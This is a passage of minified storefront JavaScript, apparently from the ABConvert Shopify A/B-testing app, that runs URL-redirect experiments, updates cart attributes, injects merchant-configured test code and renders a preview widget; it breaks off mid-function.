898for(let e=document.getElementById(Vr);e;e=document.getElementById(Vr))e.remove();window.removeEventListener("pageshow",Xr)}function Yr(e){zr.get(e)?.(),zr.delete(e),0!==zr.size||Hr||Zr()}function Xr(e){e.persisted&&Zr()}const eo="abconvert:redirecting",to="abconvert-redirect-referrer",no="_abrn",ro="__abconvertReferrerRestored",oo=["ABConvert-content-test-v0","ABConvert-content-test-v1","ABConvert-price-test-v0","ABConvert-price-test-v1"];function io(){return window.location.pathname+window.location.search}function so(e){if(""===e)return"";try{const t=new URL(e);return t.origin+t.pathname}catch{return""}}function ao(e){window.location.replace(function(e){try{sessionStorage.setItem(eo,JSON.stringify({fromUrl:io(),ts:Date.now()}))}catch{}return function(e){if("string"!=typeof e||""===e)return e;try{const t=Math.random().toString(36).slice(2,10)+Date.now().toString(36),n=JSON.stringify({referrer:so(document.referrer),marker:t,ts:Date.now()}),r="https:"===window.location.protocol?"; Secure":"";document.cookie=to+"="+encodeURIComponent(n)+"; Max-Age="+Math.floor(60)+"; path=/; SameSite=Lax"+r;const[o,i=""]=e.split("#");return o+(o.includes("?")?"&":"?")+no+"="+t+(i?"#"+i:"")}catch{return e}}(e)}(e)),Hr=!0,zr.forEach((e=>e())),zr.clear(),Wr&&(Qr?.(),Qr=Kr())}function co(){try{const e=function(){try{return new URLSearchParams(window.location.search).get(no)}catch{return null}}();null!==e&&function(){try{const e=new URLSearchParams(window.location.search);e.delete(no);const t=e.toString();window.history.replaceState(window.history.state,"",window.location.pathname+(t?"?"+t:"")+(window.location.hash||""))}catch{}}();const t=function(){try{const e=O(to);if(null===e)return null;const t=JSON.parse(decodeURIComponent(e));if(t&&"string"==typeof t.referrer&&"string"==typeof t.marker&&"number"==typeof t.ts)return t}catch{}return null}();if(null===t)return;if(oo.some((e=>null!==document.getElementById(e))))return;if(null===e||e!==t.marker)return;if(function(){try{document.cookie=to+"=; Max-Age=0; path=/"}catch{}}(),Date.now()-t.ts>=6e4)return;const n=window;if(n[ro])return;const r=Object.getOwnPropertyDescriptor(Document.prototype,"referrer");if(!r||"function"!=typeof r.get)return;const o=r.get,i=t.referrer,s=document;Object.defineProperty(Document.prototype,"referrer",{...r,get(){return this===s?i:o.call(this)}}),n[ro]=!0}catch{}}let uo=null;function lo(e){const t=function(){if(null===uo){const e=document.querySelector("script[nonce]");uo=e?.nonce||e?.getAttribute("nonce")||""}return uo}();return t&&(e.setAttribute("nonce",t),e.nonce=t),e}function fo(e){return!e||""===e.trim()}function po(e){if(!e||!Array.isArray(e.scripts))return[];const t=[];for(const n of e.scripts)n&&!fo(n.code)&&t.push({code:n.code,runAt:"page-load"===n.runAt?"page-load":"assigned"});return t}function mo(e,t,n,r,o){const i=lo(document.createElement("script"));i.id=e,i.dataset.abconvertExperiment=t,i.dataset.abconvertGroup=String(n),i.textContent=r;const s=e=>{if(o)return function(e,t){const n=String(t.error?.message??t.message).slice(0,500);e.setAttribute("data-abconvert-error",JSON.stringify(t.lineno>0?{message:n,line:t.lineno}:{message:n}))}(i,e);ee(e.error??new Error(e.message),{script:"custom-code",step:"run",data:{experimentId:t,groupIndex:n}})};window.addEventListener("error",s);try{(document.head||document.documentElement).appendChild(i)}finally{window.removeEventListener("error",s)}}function go(e,t,n){if(!n)return;const r="abconvert-cc-css-"+e;fo(n.css)||document.getElementById(r)||function(e,t){const n=lo(document.createElement("style"));n.id=e,n.textContent=t,(document.head||document.documentElement).appendChild(n)}(r,n.css);const o=po(n),i=o.length>0&&function(e=document){return!!e.querySelector("script[data-abconvert-onsite-editor]")}();i&&"1"===Re("abconvert.editorJsPaused")||o.forEach(((n,r)=>{const o=`abconvert-cc-js-${e}-${r}`;if(!document.getElementById(o)){if("page-load"===n.runAt&&"loading"===document.readyState){const r=document.createElement("script");return r.id=o,r.type="text/plain",(document.head||document.documentElement).appendChild(r),void document.addEventListener("DOMContentLoaded",(()=>{r.remove(),mo(o,e,t,n.code,i)}),{once:!0})}mo(o,e,t,n.code,i)}}))}function ho(e){const t=e.startTime??e.startedAt;if(null==t)return 0;let n;return n=t instanceof Date?t.getTime():"number"==typeof t?t:Date.parse(t),Number.isNaN(n)?0:n}const wo="browser-api",yo=new Set(["url_force_assign","preview_override"]);let vo=null;function bo(){return vo||(vo=window.__abconvertBrowserApiState??null),vo}
898function xo(e,t,n){ee(new Error(e),{script:wo,step:t,data:n})}function _o(e,t){try{window.dispatchEvent(new CustomEvent(e,{detail:t,bubbles:!1,cancelable:!1}))}catch(t){xo(t instanceof Error?t.message:String(t),"event-listener",{event:e})}}function Io(e){console.error("[ABConvert] An ABConvertQueue callback failed:",e),ee(e,{script:wo,step:"ready-callback"})}function So(e,t){if("function"==typeof e)try{const n=e(t);n&&"function"==typeof n.then&&n.then(void 0,Io)}catch(e){Io(e)}}function ko(e){if(!e.ready&&e.parseEnded){for(const t of e.expected)if(!e.settled.has(t))return;!function(e,t){if(e.ready)return;if(e.ready=!0,null!==e.ceilingTimer&&(clearTimeout(e.ceilingTimer),e.ceilingTimer=null),"ceiling"===t){const t=[...e.expected].filter((t=>!e.settled.has(t)));xo(`ready ceiling reached with unsettled types: ${t.join(", ")}`,"ready-ceiling",{unsettled:t})}const{api:n,queue:r}=e;r.push=function(...e){return e.forEach((e=>So(e,n))),r.length},r.splice(0,r.length).forEach((e=>So(e,n))),_o("abconvert:ready",n)}(e,"settled")}}function To(e){const t=bo();t&&(t.settled.add(e),ko(t))}function Ao(e){return"number"==typeof e&&Number.isInteger(e)&&e>=0?String(e):"string"==typeof e&&/^\d+$/.test(e)?e:null}const No=new Set(["","text/javascript","application/javascript","module"]);const $o=new Set(["random_split","force_assign_group","preview_override","url_force_assign"]);function Co(e,t,n){if(!n.inTest)return;
898const r=function(e,t,n,r){const o=Ao(t.numericId),i=t.testGroups?.[n];if(null===o||!i||!$o.has(r))return null;const s=!0===t.isPersonalization;return{experimentId:o,experimentName:t.name??"",type:s?"personalization":null!=t.combinedExperimentId?"combined":e,status:"preview"===String(t.status??"").toLowerCase()?"preview":"active",testGroup:{index:n,name:i.name,control:!s&&(i.isControl??0===n),split:i.percentage},reason:r}}(e,t,n.groupIndex,n.reason);r&&function(e){const t=bo();if(!t)return;const n=Ao(e?.experimentId);if(null===n)return void xo("assignment registered without a numeric experimentId","register",{experimentId:String(e?.experimentId),type:e?.type});const r=t.assignments.get(n);if(r)return void(r.testGroup.index!==e.testGroup?.index&&xo("combined test registered with differing group indexes","register",{experimentId:n,first:r.testGroup.index,second:e.testGroup?.index}));const o={experimentId:n,experimentName:e.experimentName,type:e.type,status:e.status,testGroup:{...e.testGroup},reason:e.reason};t.assignments.set(n,o),yo.has(o.reason)||_o("abconvert:assignment-ready",function(e){return{...e,testGroup:(t=e.testGroup,{...t})};var t}(o))}(r);const o=t.testGroups?.[n.groupIndex],i="string"==typeof t.experimentId&&""!==t.experimentId?t.experimentId:null!=t.numericId?String(t.numericId):null;o?.customCode&&i&&Zt(t.pageTargeting)&&go(i,n.groupIndex,o.customCode)}var Oo;(function(e){const t=bo();t&&t.expected.add(e)})(Oo="url_redirect"),function(e,t,{runWhenAbsent:n=!1,onGiveUp:r}={}){const o=window;if(void 0!==o[e])return void t();if(n&&!function(e){const t=new RegExp("window\\."+e+"\\s*="),n=document.querySelectorAll("script:not([src])");for(const e of n){const n=(e.getAttribute("type")||"").trim().toLowerCase();if(!No.has(n)&&!n.includes("json")&&t.test(e.textContent||""))return!0}return!1}(e))return void t();const i=Date.now()+8e3,s=setInterval((()=>{void 0!==o[e]?(clearInterval(s),t()):Date.now()>i&&(clearInterval(s),n?t():r&&r())}),250)}("abconvertUrlRedirectTestDictV1",(()=>{try{!function(){if(function(e,t=window){if(function(e=window){try{return!!e.frameElement?.hasAttribute("data-abconvert-preview")}catch{return!1}}(t))return!1;const n=t,r=n[Br]||(n[Br]={});return!r[e]&&(r[e]=!0,!0)}("url-redirect-test-v1")){if(window.abconvertUrlRedirectTestDictV1){const e=window.abconvertUrlRedirectTestDictV1,t=jr(e.shopPreviewKey||"");e.experiments&&(e.experiments=e.experiments.filter((function(e){return"Active"===e.status||!e.status||t&&"Preview"===e.status})),t&&e.experiments.forEach((function(e){if("Preview"!==e.status)return;const t="abconvert.experiment."+e.experimentId+".group";null===sessionStorage.getItem(t)&&sessionStorage.setItem(t,"0")}))),function(e,t){const n=(window[Lr]||(window[Lr]={}),window[Lr]);n[e]!==t&&(n[e]=t,window.dispatchEvent(new Event("abconvert:preview-registry-updated")))}(Mr,e)}(async()=>{const y=function(e){const t={source:Wn,script:e};function n(n,r){const{step:o,message:i,data:s,error:a}=r,c={...t,level:n,step:o,message:i,timestamp:(new Date).toISOString()};void 0!==s&&(c.data=s);const u=function(e){if(e)return e instanceof Error?{message:e.message,stack:e.stack}:"object"==typeof e?e:{value:e}}(a);u&&(c.error=u);const l=function(e){return"error"===e?"error":"warn"===e?"warn":"debug"===e&&"function"==typeof console.debug?"debug":"log"}(n),d=`[${Wn}] [${e}] [${n.toUpperCase()}]${o?` [${o}]`:""} ${i}`;console[l](d,c)}return{info(e){n("info",e)},warn(e){n("warn",e)},error(e){n("error",e),e.error&&ee(e.error,{script:t.script,step:e.step,data:e.data})},debug(e){n("debug",e)}}}("url-redirect-test-v1"),v="true"===Jr(Dr);function b(){const e=new URLSearchParams(location.search),t=e.get("preview"),n=e.get("countryCode");return n&&window.sessionStorage.setItem("abconvert-country",n),t&&!isNaN(Number(t))?(window.sessionStorage.setItem("abconvert-preview-number",t),t):window.sessionStorage.getItem("abconvert-preview-number")}function k(e){const t=function(){let e=localStorage.getItem("abconvert-seed");return null==e&&(e=Math.floor(100*Math.random()).toString(),localStorage.setItem("abconvert-seed",e)),e}();let n,r=0;for(n=0;n<e.length;++n)if(r+=e[n].percentage,Number(t)<r)return n;return n}function A(e){let t,n=b();return t=n&&!isNaN(Number(n))?Number(n)>=e.length?0:Number(n):k(e),t}function N(){const e=b();return e&&!isNaN(Number(e))}function $(e){for(var t=e+"=",n=document.cookie.split(";"),r=0;r<n.length;r++){for(var o=n[r];" "==o.charAt(0);)o=o.substring(1,o.length);if(0==o.indexOf(t))return o.substring(t.length,o.length)}return null}function C(l,d,f){let p=decodeURI(f);switch(l){case e:return decodeURI(d)===p;case t:return new RegExp(d).test(p);case n:return p.includes(decodeURI(d));case o:return p.startsWith(decodeURI(d));case r:return p.endsWith(decodeURI(d));
898case i:return decodeURI(d)!==p;case s:return!new RegExp(d).test(p);case a:return!p.includes(decodeURI(d));case u:return!p.startsWith(decodeURI(d));case c:return!p.endsWith(decodeURI(d));default:return!1}}function O(p){const m=window.location.pathname,g=window.location.search,h=m+g,{conditionType:w,condition:y,value:v}=p;let b;switch(w){case l:b=m;break;case d:b=h;break;case f:b=g;break;default:return!1}return w===f?function(l,d,f){let p=decodeURI(f);const m=new URLSearchParams(p);switch(l){case e:const l=new URLSearchParams(decodeURI(d));let f=!0;for(let[e,t]of l)if(!m.has(e)||m.get(e)!==t){f=!1;break}return f&&m.forEach(((e,t)=>{l.has(t)||(f=!1)})),f;case t:return new RegExp(d).test(p);case n:const g=new URLSearchParams(d);for(let[e,t]of g)if(!m.has(e)||m.get(e)!==t)return!1;return!0;case o:return p.startsWith(decodeURI(d));case r:return p.endsWith(decodeURI(d));case i:const h=new URLSearchParams(decodeURI(d));let w=!1;for(let[e,t]of h)if(!m.has(e)||m.get(e)!==t){w=!0;break}return w||m.forEach(((e,t)=>{h.has(t)||(w=!0)})),w;case s:return!new RegExp(d).test(p);case a:const y=new URLSearchParams(d);for(let[e,t]of y)if(m.has(e)&&m.get(e)===t)return!1;return!0;case u:return!p.startsWith(decodeURI(d));case c:return!p.endsWith(decodeURI(d));default:return!1}}(y,v,b):C(y,v,b)}function E(e){if(0===e.length)return!1;let t=e[0],n=e.slice(1).filter((e=>"and"===e.logic)),r=e.slice(1).filter((e=>"or"===e.logic)),o=0===n.length||n.every((e=>O(e))),i=r.length>0&&r.some((e=>O(e)));return(O(t)||i)&&o}function D(e){for(let t of e)if(E(t))return!0;return!1}const J=()=>{let e;localStorage.getItem("shopURL")||window.Shopify&&window.Shopify.shop&&(e=window.Shopify.shop,localStorage.setItem("shopURL",e),y.info({step:"shop-url",message:"Stored shop URL for redirect test",data:{shopURL:e}}))},j=async function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const r={method:t,mode:"cors",headers:{"Content-Type":"application/json"}};n&&(r.body=JSON.stringify(n));let o=150,i=0;for(;i<3;)try{const t=await fetch(e,r);if(t.ok)return t.json();throw new Error(await t.json())}catch(e){if(o*=2,i+=1,i>=3)throw e;await new Promise((e=>setTimeout(e,o)))}throw new Error("API Error")};async function M(e){let{experimentId:t,groupIndex:n}=e;for(let e=0;e<10;e++){await h(),y.info({step:"cart-attributes",message:"Updating redirect cart attributes",data:{experimentId:t,groupIndex:n}});const e=await j((window?.Shopify?.routes?.root??"/")+"cart.js","GET");y.debug({step:"cart-attributes",message:"Fetched original cart attributes",data:{attributes:e.attributes}});let r=JSON.parse(JSON.stringify(e.attributes)),o=e.attributes;o[T]&&(Array.isArray(o[T])||(o[T]=[o[T]]),o[T]=o[T].filter((e=>{try{return JSON.parse(e).experimentId!=t}catch(e){return console.warn("[ABConvert] Failed to parse url-redirect cart item:",e),!1}})));const i={[T]:o[T]?[...o[T],JSON.stringify({experimentId:t,groupIndex:n})]:[JSON.stringify({experimentId:t,groupIndex:n})],[I]:(window?.Shopify?.country||w()||"").toUpperCase(),[S]:$("abconvert-search-params")??"",[x]:U(),[_]:In()};if(y.debug({step:"cart-attributes",message:"Current redirect attribute entries",data:{original:o[T]}}),y.debug({step:"cart-attributes",message:"New redirect attribute entries",data:{updated:i[T]}}),JSON.stringify(r[T])==JSON.stringify(i[T])&&r[I]==i[I])break;y.debug({step:"cart-attributes",message:"Prepared redirect cart attributes payload",data:i});const s={"Content-Type":"application/json"},a=(window?.Shopify?.routes?.root??"/")+"cart/update.js",c=JSON.stringify({attributes:i});let u=await fetch(a,{method:"POST",headers:s,body:c});u.ok?y.info({step:"cart-attributes",message:"Redirect cart attributes updated successfully"}):y.warn({step:"cart-attributes",message:"Failed to update redirect cart attributes",data:{status:u.status}})}}const B="url-redirect:page";function G(e,t){try{for(const n of e.testGroups??[])for(const e of n.variation?.rules??[]){if(Q(e,t))return[B];if(z(e.destinationUrl,t))return[B]}return[]}catch{return[]}}function z(e,t){try{if(!e)return!1;const n=Y(new URL(Y(e),window.location.origin).pathname);return zn(window.Shopify?.routes?.root||"/",n)===Y(t)}catch{return!1}}function Q(e,t){try{const n=new URL(Y(e.triggerUrl),window.location.origin);if(!C(e.matchType,n.pathname,t))return!1;
898const r=new URLSearchParams(window.location.search);for(const[e,t]of n.searchParams)if(!r.getAll(e).includes(t))return!1;return!0}catch{return!1}}function H(e,t){try{return(e?.variation?.rules??[]).find((e=>Q(e,t)))}catch{return}}function K(e){const t=window.location.pathname,n=function(){const e=new Set;return{isSuppressed:t=>t.some((t=>e.has(t))),claim(t){for(const n of t)e.add(n)}}}();for(const r of function(e){return[...e].sort(((e,t)=>{const n=Number(Boolean(e.isPersonalization))-Number(Boolean(t.isPersonalization));return 0!==n?n:e.isPersonalization?ho(t)-ho(e):0}))}(e)){const{experimentId:e,perserveQueryString:o,redirectType:i,testGroups:s,startTime:a,redirectControlGroup:c}=r,u=G(r,t);if(r.isPersonalization&&n.isSuppressed(u))continue;if(i===p&&localStorage.getItem(te(e))){n.claim(u);continue}const l=jn({experimentId:e,numericId:r.numericId,trafficAllocationPercent:r.trafficAllocationPercent,audienceTargeting:r.audienceTargeting,forceAssignRules:r.forceAssignRules,percentages:s.map((e=>e.percentage)),isPersonalization:r.isPersonalization??!1,assignmentVersion:r.assignmentVersion,experimentStartTime:a});if(Co("url_redirect",r,l),!l.inTest)continue;n.claim(u);const d=l.groupIndex;if(new URLSearchParams(window.location.search).has("_abr"))continue;const f=s[d],m=H(f,t);if(!m)continue;const g=yn(l.reason)||"preview_override"===l.reason;if(ne(e,l.reason)&&re(e,d,a),v||g||Vn(e,d,r.numericId),f.isControl){if(c){const e=window.location.pathname+window.location.search+window.location.hash,t=e.includes("?")?"&":"?",n=e+t+"_abr=1";kr(U,In),ao(n);break}continue}const h=oe(m.destinationUrl,{preserveQueryString:o});if(ie(h)){kr(U,In),ao(h);break}}}function Z(e){const t=new URL(e,window.location.origin);return t.searchParams.delete("preview_theme_id"),t.searchParams.delete("_abr"),t.origin+t.pathname+t.search+t.hash}function Y(e){try{return decodeURI(e)}catch{return e}}function X(e,t){const n=new URLSearchParams(e);return new URLSearchParams(t).forEach(((e,t)=>{n.has(t)||n.set(t,e)})),n.toString()}function te(e){return`abconvert-url-redirect-test-${e}`}function ne(e,t){return!(v||N()||yn(t)||"preview_override"===t||localStorage.getItem(te(e)))}function re(e,t,n){localStorage.setItem(te(e),JSON.stringify({experimentId:e,groupIndex:t,startTime:n})),R("url-redirect",e,t,Number(n))}function oe(e,t){const n=new URL(decodeURI(e),window.location.origin);let r;if(t.preserveQueryString){const e=X(window.location.search,n.search);r=n.pathname+(e?"?"+e:"")+n.hash}else r=n.pathname+n.search+n.hash;return window.Shopify?.routes?.root&&"/"!==window.Shopify.routes.root&&(r=zn(window.Shopify.routes.root,r)),r}function ie(e){const t=window.location.origin+e;return Z(window.location.href)!==Z(t)}function se(e,t){const{urlDict:n,testGroups:r}=e;if(n[t]||n[window.location.pathname])return!0;for(const e of r??[])if(H(e,t))return!0;return!1}y.info({step:"init",message:"Running ABConvert URL redirect test 2.0.0 with cart attribute updates"});try{if(window.Shopify?.designMode||window.abconvertDesignMode)return;!function(){co();const e=function(){try{const e=sessionStorage.getItem(eo);if(null===e)return null;const t=JSON.parse(e);if(t&&"string"==typeof t.fromUrl&&"number"==typeof t.ts)return t}catch{}return null}();if(null===e)return;const t=e.fromUrl!==io(),n=Date.now()-e.ts>=1e4;if(t||n)try{sessionStorage.removeItem(eo)}catch{}}(),P(),localStorage.getItem("abconvert-user-seed")||localStorage.setItem("abconvert-user-seed","0"),J(),document.addEventListener("DOMContentLoaded",J),await async function(){if((()=>{const e=navigator.userAgent;return m.some((t=>t.test(e)))})())return;if(!window.abconvertUrlRedirectTestDictV1)return;const e=window.abconvertUrlRedirectTestDictV1;!function(e,t,n,r){if(zr.has(e))return;const o=function(e){const t=e?.antiFlicker||{};return{enabled:!1!==t.enabled,timeoutMs:qr(t.timeoutMs,Gr.timeoutMs),redirectTimeoutMs:qr(t.redirectTimeoutMs,Gr.redirectTimeoutMs)}}(t);o.enabled&&(Wr||!function(){try{return performance.getEntriesByType("paint").some((e=>"first-contentful-paint"===e.name))}catch{return!1}}())&&n()&&(Wr||(Wr=function(e,t){const n=document.createElement("style");return n.id=e,n.textContent=t,(document.head||document.documentElement).appendChild(n),n}(Vr,"html"+Fr),window.addEventListener("pageshow",Xr),Qr=Kr()),zr.set(e,function(e,t){let n=e,r=null;const o=()=>
898{if("undefined"!=typeof window){if(n-=100,n<=0)return r=null,void t();r=window.setTimeout(o,Math.min(100,n))}};return r=window.setTimeout(o,Math.min(100,n)),()=>{null!==r&&window.clearTimeout(r),r=null}}(r??o.redirectTimeoutMs,(()=>Yr(e)))))}("url_redirect",e,(()=>(e.experiments??[]).some((e=>Boolean(e)&&Zt(e.pageTargeting)&&(e.testGroups??e.groups??[]).some((e=>{return t=e?.customCode,Boolean(t)&&(!fo(t.css)||po(t).some((e=>"page-load"!==e.runAt)));var t}))))||function(e){if(new URLSearchParams(window.location.search).has("_abr"))return!1;const t=window.location.pathname;return e.some((e=>{if(e.redirectType===p&&localStorage.getItem(te(e.experimentId)))return!1;if("v5"===e.version)return(e.testGroups??[]).some((e=>H(e,t)));try{return D(e.triggerConditions??[])}catch{return!1}}))}(e.experiments??[]))),Dn(),v||function(){if(!window[Gn]){window[Gn]=!0;try{const e=sessionStorage.length;if(0===e)return;const t=[];for(let n=0;n<e;n++){const e=sessionStorage.key(n);e&&e.startsWith(Bn)&&t.push(e)}if(0===t.length)return;const n=U();for(const e of t){const t=e.slice(18);if(!t)continue;const r=Fn(t);r&&r.sessionId===n&&(_n(t,r.numericId)||qn(t,r.groupIndex,n))}}catch{}}}(),window.abconvertUrlRedirectTestDictV1.fetchCountryCode&&await h();const t=window.abconvertUrlRedirectTestDictV1.experiments,n=t.filter((e=>"v5"!==e.version)),r=t.filter((e=>"v5"===e.version));!function(e){if(!new URLSearchParams(window.location.search).has("_abr"))for(let t of e){const{experimentId:e,triggerConditions:n,perserveQueryString:r,redirectType:o,isFilteredByCountry:i,filteredCountries:s,redirectControlGroup:a}=t;if(i){const e=w();if(!e)continue;if(s?.length&&!s.includes(e))continue}const c=`abconvert-url-redirect-test-${e}`;if(t.selectedVistorType&&t.selectedVistorType!=L(t.startTime))return;if(y.debug({step:"visitor-filter",message:"Visitor type mismatch for redirect experiment",data:{expected:t.selectedVistorType,actual:L(t.startTime)}}),(o!==p||!localStorage.getItem(c))&&D(n)){const n=t.testGroups,o=A(n),i=new URL(decodeURI(n[o].url),window.location.origin),s=t.startTime;N()||localStorage.getItem(c)||(localStorage.setItem(c,JSON.stringify({experimentId:e,groupIndex:o,startTime:s})),R("url-redirect",e,o,Number(s)));let u=i.pathname+i.hash;if(r){const e=X(window.location.search,i.search);u=i.pathname+(e?"?"+e:"")+i.hash}else u=i.pathname+i.search+i.hash;window.Shopify?.routes?.root&&"/"!=window.Shopify.routes.root&&(u=zn(window.Shopify.routes.root,u));const l=window.location.origin+u;if(Z(window.location.href)!==Z(l)){kr(U,In),ao(u);break}if(a&&0===o){const e=u.includes("?")?"&":"?",t=u+e+"_abr=1";kr(U,In),ao(t);break}}}}(n),r.some(Yt)&&await ut(),await async function(e){const t=function(e){const t=new Set;for(const n of e){if(n?.audienceTargeting?.enabled)for(const e of n.audienceTargeting.groups??[])Ft(e?.filters,t);for(const e of n?.forceAssignRules??[])Ft(e?.filters,t)}return[...t]}(e);0!==t.length&&(function(e){Lt=[...new Set(e.filter((e=>"string"==typeof e&&e.length>0)))]}(t),await Gt())}(r),K(r),v?hr(T,""):(function(e){const t=g+"/api/analytics/redirect/originalview",n=g+"/api/analytics/redirect/click",r=g+"/api/analytics/redirect/bounce",o=g+"/api/analytics/redirect/staying-time";for(let i of e){const{experimentId:e,urlDict:s}=i,a=decodeURI(window.location.pathname),c=decodeURI(window.location.href);if((s[decodeURI(window.location.pathname)]||s[window.location.pathname])&&(!i.selectedVistorType||i.selectedVistorType===L(i.startTime))){const s=localStorage.getItem(`abconvert-url-redirect-test-${e}`),u=$(`abconvert-url-redirect-test-stay-time-recorded-${e}`);if(s){let l;try{l=JSON.parse(s)}catch(e){console.warn("[ABConvert] Failed to parse url-redirect test cookie:",e)}if(!l)continue;const{groupIndex:d}=l;M({experimentId:e,groupIndex:d}),decodeURI(i.testGroups[d].url)!==a&&Z(decodeURI(i.testGroups[d].url))!==Z(c)||(W(t,e,d,i.startTime),q(n,e,d,i.startTime),V(r,e,d,i.startTime),u||F(o,"url-redirect",e,d,i.startTime))}}}}(n),function(e){const t=g+"/api/analytics/redirect/originalview",n=g+"/api/analytics/redirect/click",r=g+"/api/analytics/redirect/bounce",o=g+"/api/analytics/redirect/staying-time";for(const i of e){const{experimentId:e,testGroups:s,startTime:a}=i,c=Y(window.location.pathname);if(!se(i,c))continue;const u=localStorage.getItem(te(e));if(!u)continue;const{groupIndex:l}=JSON.parse(u),d=s[l];if(!d)continue;let f;if(M({experimentId:e,groupIndex:l}),d.isControl){f=H(d,c);const e=new URLSearchParams(window.location.search);if(f&&i.redirectControlGroup&&!e.has("_abr"))continue}else f=(d.variation?.rules??[]).find((e=>{try{return Y(new URL(Y(e.destinationUrl),window.location.origin).pathname)===c}catch{return!1}}
898));if(!f)continue;if(_n(e,i.numericId))continue;const p=$(`abconvert-url-redirect-test-stay-time-recorded-${e}`);W(t,e,l,a),Vn(e,l,i.numericId),q(n,e,l,a),V(r,e,l,a),p||F(o,"url-redirect",e,l,a)}}(r),Ir(U(),In()))}()}catch(e){y.error({step:"init",message:"Failed to initialize URL redirect test",error:e})}finally{Hr||Yr("url_redirect"),To("url_redirect")}})()}}()}catch(e){throw To(Oo),e}}),{onGiveUp:()=>To(Oo)})})();
899</script>
vendor: 1 bytes, line 899
899
900<script id="ABConvert-preview-widget">
901(()=>{"use strict";var n={63:(n,e,t)=>{t.d(e,{L:()=>c,i:()=>a});var o=t(6868);const r="match_exactly",i={match_exactly:"matches exactly",match_regex_exactly:"matches regex",contains:"contains",ends_with:"ends with",starts_with:"starts with",not_match_exactly:"does not match exactly",not_match_regex_exactly:"does not match regex",not_contains:"does not contain",not_ends_with:"does not end with",not_starts_with:"does not start with"};function a(n){let{groups:e,currentGroupIndex:t,expanded:a=!1,embedded:c=!1}=n;if(!e||0===e.length)return"";const s=e[t];if(!s)return"";const d=function(n){return n.redirectRules&&n.redirectRules.length>0?n.redirectRules.map(((e,t)=>function(n,e){let t=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const o=n.triggerUrl||"",a=n.destinationUrl||"";if(!o&&!a)return"";const c=n.matchType===r,s=e?"":"border-bottom: 1px dashed #e1e3e5;",d=`\n    <div class="abconvert-product-info" style="flex: 1; min-width: 0;">\n      <div style="font-size: 11px; color: #6d7175; margin-bottom: 2px;">From (${i[n.matchType]||n.matchType||""})</div>\n      <div style="font-size: 12px; color: #303030; word-break: break-all; margin-bottom: 8px;">${o}</div>\n      <div style="font-size: 11px; color: #6d7175; margin-bottom: 2px;">To</div>\n      <div style="font-size: 12px; word-break: break-all;">${t?'<span style="color: #8c9196;">No redirect</span>':a}</div>\n    </div>\n  `;return c?`\n      <a href="${o}" class="abconvert-product-item" style="${s}">\n        ${d}\n        <span class="abconvert-product-arrow">→</span>\n      </a>\n    `:`\n    <div style="display: flex; align-items: center; gap: 8px; padding: 6px 10px; margin: 2px 0; ${s}">\n      ${d}\n    </div>\n  `}(e,t===n.redirectRules.length-1,n.isControl))).join(""):n.legacyUrl?`\n      <div style="display: flex; align-items: center; gap: 6px;">\n        <span style="font-size: 10px; color: #8c9196; text-transform: uppercase; letter-spacing: 0.3px; width: 32px; flex-shrink: 0;">To</span>\n        <span style="font-size: 12px; color: #303030; flex: 1; word-break: break-all;">${n.legacyUrl}</span>\n      </div>\n    `:""}(s);return d?(0,o.q)({id:"abconvert-redirect-rules",title:"Redirect URLs",content:`<div class="abconvert-card">${d}</div>`,expanded:a,embedded:c}):""}function c(n,e){(0,o.s)(n,"abconvert-redirect-rules","400px",e)}},947:(n,e,t)=>{t.d(e,{$F:()=>r,G:()=>i,eo:()=>a});const o="__ABConvertPreviewRegistry",r="abconvert:preview-registry-updated";function i(){return window[o]||(window[o]={}),window[o]}function a(n,e){const t=i();t[n]!==e&&(t[n]=e,window.dispatchEvent(new Event(r)))}},1338:(n,e,t)=>{t.d(e,{A:()=>r});var o=t(6538);
901const r={displayName:"Checkout Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("preview"!==n.status)return;const t=n.id;t&&(e[t]={id:t,name:n.name||"Checkout Test",experimentId:n.experimentId??t,status:"Preview",startTime:n.startedAt?new Date(n.startedAt).toISOString():void 0,trafficAllocationPercent:n.traffic?.allocationPercent,audienceTargeting:n.traffic?.audience,forceAssignRules:n.traffic?.forceAssign,groups:(n.groups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,id:n.id,modifications:n.modifications||[]}))),_original:n})})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t?.groups||[];return(0,o.RW)({groups:i,currentGroupIndex:r,expanded:e?.has?.(o.gv)??!1,expandedSections:e,embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.MY)(n,t)}}},1719:(n,e,t)=>{t.d(e,{N:()=>i,c:()=>r});var o=t(6868);function r(n){let{groups:e,currentGroupIndex:t,expanded:r=!1,embedded:i=!1}=n;if(!e||0===e.length)return"";const a=e[t];if(!a)return"";const c=function(n){const e=n.theme||{},t=e.name||"Unknown Theme",o=e.id||"";return`\n    <div style="display: flex; align-items: center; gap: 8px; padding: 6px 10px; margin: 2px 0; ">\n      <div class="abconvert-product-info" style="flex: 1; min-width: 0;">\n        <div style="font-size: 12px; color: #303030; word-break: break-all;">\n          ${t}${n.isControl?' <span style="font-size: 10px; color: #8c9196; background: #f1f2f3; padding: 1px 5px; border-radius: 3px; margin-left: 4px;">Control</span>':""}\n        </div>\n        <div style="font-size: 11px; color: #6d7175; margin-top: 2px;">\n          Theme ID: ${o}\n        </div>\n      </div>\n    </div>\n  `}(a);return(0,o.q)({id:"abconvert-theme-info",title:"Theme Assignment",content:`<div class="abconvert-card">${c}</div>`,expanded:r,embedded:i})}function i(n,e){(0,o.s)(n,"abconvert-theme-info","200px",e)}},1840:(n,e,t)=>{t.d(e,{k:()=>a,l:()=>i});var o=t(6868),r=t(4788);function i(n){let{groups:e,currentGroupIndex:t,expanded:i=!1,embedded:a=!1}=n;if(!e||0===e.length)return"";const c=e[t]||e[0],s=c.template||c.variation?.template||{},d=s.type||"unknown",l=s.suffix||"Default";let u="#";if(s.previewUrl){const n=new URL((0,r.hM)(s.previewUrl));n.searchParams.delete("view"),n.searchParams.delete("_abr"),u=n.toString()}const p=`\n    <div class="abconvert-card">\n      <a href="${u}" class="abconvert-product-item">\n        <div class="abconvert-product-info">\n          <div class="abconvert-product-title">${l}</div>\n          <div class="abconvert-product-variants" style="text-transform: capitalize;">${d}</div>\n        </div>\n        <span class="abconvert-product-arrow">→</span>\n      </a>\n    </div>\n  `;return(0,o.q)({id:"abconvert-template-variation",title:"Template Variation",content:p,expanded:i,embedded:a})}function 